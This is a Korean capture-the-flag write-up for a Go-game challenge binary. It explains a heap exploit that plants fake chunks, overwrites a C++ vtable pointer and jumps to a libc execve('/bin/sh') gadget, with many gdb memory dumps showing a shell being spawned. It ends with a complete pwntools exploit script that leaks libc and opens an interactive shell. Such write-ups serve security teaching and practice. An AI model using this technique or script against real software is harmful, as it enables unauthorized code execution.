- "surrender" 명령어를 3번 실행합니다.
- 디버깅을 통해 확인해 보겠습니다.
- D14, R8을 입력해 gameInfo.board[3], gameInfo.board[7]영역에 Fake chunk(0x20)을 저장합니다.
- gameInfo.board[0]영역에 주소값이 overwrite될 때 까지 게임을 Play 합니다.
- gameInfo.board[0]영역에 0x0707410 저장됬으며, P1, O1을 입력해 0x0707410 을 0x0707550으로 변경합니다.
- 그리고 "surrender" 명령어를 실행 후, Computer class의 vtable를 저장할 heap영역으로 0x0707550 영역이 할당됩니다.
- Computer class 영역에 원하는 주소 영역을 저장하였습니다.
- 이로 인해 0x0707550을 공격자가 원하는 값으로 덮어쓸수 있게 되었습니다.
- History[] 배열에 저장되는 Play 정보를 저장하는 Heap 영역을 메모리 0x0707550 보다 낮은 주소에서 부터 Heap 공간을 할당합니다.
(gdb) b *0x401761 Breakpoint 1 at 0x401761 (gdb) b *0x4017FC Breakpoint 2 at 0x4017fc (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000000000 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0xaaaa000000000000 0x50000100002aaaaa 0x609ff0: 0x0000000155555555 0x0000000000000000 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000000000 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000020 0x609fe0: 0xaaaa000000000000 0x50000100002aaaaa 0x609ff0: 0x0000000155555555 0x0000000000000000 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000000000 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000020 0x609fe0: 0xaaaa000000000000 0x50000100002aaaaa 0x609ff0: 0x0000000155555555 0x0000000000000000 0x60a000: 0x0000000000001000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000000000 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000020 0x609fe0: 0xaaaa000000000000 0x50000100002aaaaa 0x609ff0: 0x0000000155555555 0x0000000000000020 0x60a000: 0x0000000000001000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. ... fill out ... Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000707410 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000020 0x609fe0: 0xaaaa000000001000 0x555555aaaaaaaaaa 0x609ff0: 0x0000000155555555 0x0000000000000020 0x60a000: 0x0000000000001000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000707410 0x00000000007074a0 0x609fd0: 0x0000000000000000 0x0000000000000020 0x609fe0: 0xaaaa000000001000 0x555555aaaaaaaaaa 0x609ff0: 0x0000000155555555 0x0000000000000020 0x60a000: 0x0000000000001000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000800 (gdb) x/18gx 0x0000000000707410 0x0707410: 0x0000000000000000 0x0000000000000000 0x0707420: 0x0000000000000000 0x0000000000000020 0x0707430: 0xaaaa000000001000 0x555555aaaaaaaaaa 0x0707440: 0x0000000155555555 0x0000000000000020 0x0707450: 0x0000000000001000 0x0000000000000000 0x0707460: 0x0000000000000000 0x0000000000000000 0x0707470: 0x0000000a00000009 0x500001000000004f 0x0707480: 0x40660945b078d924 0x40633e4e379b77bf 0x0707490: 0x0000000000000000 0x000000000000fb71 (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000707450 0x00000000007074a0 0x609fd0: 0x0000000000707530 0x0000000000000020 0x609fe0: 0xaaaa000000001000 0x555555aaaaaaaaaa 0x609ff0: 0x0000000155555555 0x0000000000000020 0x60a000: 0x0000000000001000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000800 (gdb) x/18gx 0x0000000000707530 0x0707530: 0x00000000019a1450 0x00000000019a14a0 0x0707540: 0x0000000000000000 0x0000000000000020 0x0707550: 0xaaaa000000001000 0x555555aaaaaaaaaa 0x0707560: 0x0000000155555555 0x0000000000000020 0x0707570: 0x0000000000001000 0x0000000000000000 0x0707580: 0x0000000000000000 0x0000000000000800 0x0707590: 0x0000000300000000 0x500001000000004f 0x07075a0: 0x40658f8b73d188eb 0x406176e57d9dba8e 0x07075b0: 0x00007f5b133663a0 0x000000000000fa51 (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000707450 0x00000000007074a0 0x609fd0: 0x0000000000707530 0x00000000007075c0 0x609fe0: 0xaaaa000000001000 0x555555aaaaaaaaaa 0x609ff0: 0x0000000155555555 0x0000000000000020 0x60a000: 0x0000000000001000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000a00 (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000707550 0x00000000007074a0 0x609fd0: 0x0000000000707530 0x00000000007075c0 0x609fe0: 0x0000000000707680 0x555555aaaaaaaaaa 0x609ff0: 0x0000000155555555 0x0000000000000020 0x60a000: 0x0000000000001000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000a00 (gdb) c Continuing. Breakpoint 1, 0x0000000000401761 in ?? () (gdb) x/i $rip => 0x401761: callq 0x400f70 <_Znwm@plt> (gdb) ni 0x0000000000401766 in ?? () (gdb) i r rax rax 0x707550 7370064 (gdb)
Overwrite the vtable
vtable을 Overwirte하는 방법은 다음과 같습니다.
- gameInfo.board[4]영역에 값으로 0x609440을 설정합니다.
- 사용자 입력 값을 저장하는 전역변수 command(0x60943C)주소 값에 0x4을 더한 값입니다.
- gameInfo.board[1] 영역까지 Heap 주소로 채웁니다.
- 0x*****550 영역에 gameInfo.board[4]에 저장된 값이 저장됩니다.
- 좌표값 뒤에 어떤 값이든 7개를 입력할 수 있습니다.
- Ex)A19!@#$%^&
- 0x609440 영역에 execve("/bin/sh") 코드의 주소를 저장하면 shell을 획득할 수 있습니다.
- 좌표값 뒤에 어떤 값이든 7개를 입력할 수 있습니다.
- gameInfo.board[4]영역에 값으로 0x609440을 설정합니다.
- 다음은 디버깅을 통해 확인한 내용입니다.
- gameInfo.board[1] 영역에 저장된 heap 주소는 0x16a5530 입니다.
- 0x16a5530을 기준으로 gameInfo.board[4]에 0x609440이 저장되어 있습니다.
- 즉, vtable을 0x609440으로 덮어쓴 것입니다.
- 0x609440 영역에는 execve("/bin/sh") 코드의 주소가 저장되어 있습니다.
autolycos@ubuntu:~$ sudo gdb -q -p 6027 Attaching to process 6027 ... (gdb) b *0x04017FC Breakpoint 1 at 0x4017fc (gdb) x/12gx 0x609FC0 0x609fc0: 0x00000000016a54a0 0xaaaaaaaaaaaaaaaa 0x609fd0: 0x40000002aaaaaaaa 0x0000000555555555 0x609fe0: 0x0000000000609440 0x0000010000000000 0x609ff0: 0x1800000000000000 0xaaaa8000000008a4 0x60a000: 0x55550000000aaaaa 0x5555555555555555 0x60a010: 0x0000055555555555 0x0000000000000000 (gdb) c Continuing. Breakpoint 1, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x00000000016a54a0 0x00000000016a5530 0x609fd0: 0x4000000aaaaaaaaa 0x0000000555555555 0x609fe0: 0x0000000000609440 0x0000010000000000 0x609ff0: 0x1800000000000000 0xaaaa8000000008a4 0x60a000: 0x55550000000aaaaa 0x5555555555555555 0x60a010: 0x0000055555555555 0x0000000000000000 (gdb) x/18gx 0x00000000016a5530 0x16a5530: 0x00000000016a54a0 0xaaaaaaaaaaaaaaaa 0x16a5540: 0x4000000aaaaaaaaa 0x0000000555555555 0x16a5550: 0x0000000000609440 0x0000010000000000 0x16a5560: 0x1800000000000000 0xaaaa8000000008a4 0x16a5570: 0x55550000000aaaaa 0x5555555555555555 0x16a5580: 0x0000055555555555 0x0000000000000000 0x16a5590: 0x0000000500000004 0x5000010000000058 0x16a55a0: 0x40667feb65a9a800 0x4063bc970b49e01e 0x16a55b0: 0x0000000000000120 0x0000000000000091 (gdb) x/gx 0x16a5550 0x16a5550: 0x0000000000609440 (gdb) x/gx 0x0000000000609440 0x609440: 0x00007f5d9c93a6bd (gdb) c Continuing. process 6027 is executing new program: /bin/dash Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x4017fc (gdb)
(gdb) b *0x4017D0 Breakpoint 1 at 0x4017d0 (gdb) b *0x04017FC Breakpoint 2 at 0x4017fc (gdb) c Continuing. Breakpoint 1, 0x00000000004017d0 in ?? () (gdb) x/3i $rip => 0x4017d0: mov rax,QWORD PTR [rbp+rax*8-0x30] 0x4017d5: mov rax,QWORD PTR [rax] 0x4017d8: mov rax,QWORD PTR [rax] (gdb) ni 0x00000000004017d5 in ?? () (gdb) i r rax rax 0x1919550 26318160 (gdb) ni 0x00000000004017d8 in ?? () (gdb) i r rax rax 0x609440 6329408 (gdb) ni 0x00000000004017db in ?? () (gdb) i r rax rax 0x7fa236c046bd 140334680000189 (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/i $rip => 0x4017fc: call rax (gdb) i r rax rax 0x7fa236c046bd 140334680000189 (gdb)
Exploit Code
from pwn import * #context.log_level = 'debug' col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S'] p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac') def Play(location): p.recvuntil('\n\n') p.sendline(location) def readBoard(): global board board = [] p.recvline() for line in range(0,19): p.recv(3) board.append(p.recvuntil('\n')[0:19]) def surrender(): p.recvuntil('\n\n') p.sendline('surrender') p.recvuntil('Play history? (y/n)') p.sendline('n') p.recvuntil('Play again? (y/n)') p.sendline('y') def Fill(colStart, colEnd, row): for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1): locate = str(col_list[colNum]) locate += str(row) Play(locate) def decode(offset): bit_offset = offset * 8 data = ''.join(board) result = 0 for i in xrange(32): states = '.OX\0' val = states.index(data[bit_offset + i]) result |= val << (i * 2) return result def LeakAddress(): readBoard() return decode(0) def LeakLibcAddress(): readBoard() return decode(32) #Memory reconstruction surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) Fill('A','K',12) #Leak LibcAddress p.recvuntil('\n\n') p.sendline('D19') p.recvuntil('\n\n') p.sendline('regret') libcAddress = LeakLibcAddress() libcBaseAddress = libcAddress - 0x3be7b8 execve_bash = libcBaseAddress + 0xe66bd log.info('Libc Address : ' + hex(libcAddress)) log.info('Libc Base Address : ' + hex(libcBaseAddress)) log.info('execve bash Address : ' + hex(execve_bash)) #Memory reconstruction surrender() surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) #Fake Chunk Play('D14') Play('R8') #0xXXXX410 -> 0xxxxx550 Fill('A','I',10) Play('P1') Play('O1') surrender() Fill('B','S',6) for line in range(15,20): Fill('A','S',line) Play('A6') #vtable Overflow Play('B7') Play('S8') Play('R8') Play('C12') Play('F12') Play('M8') for line in range(16,19): Fill('A','S',line) Fill('A','E',15) sleep(20) Play('F15|'+p64(execve_bash)) p.interactive()
Flag
Flag |
---|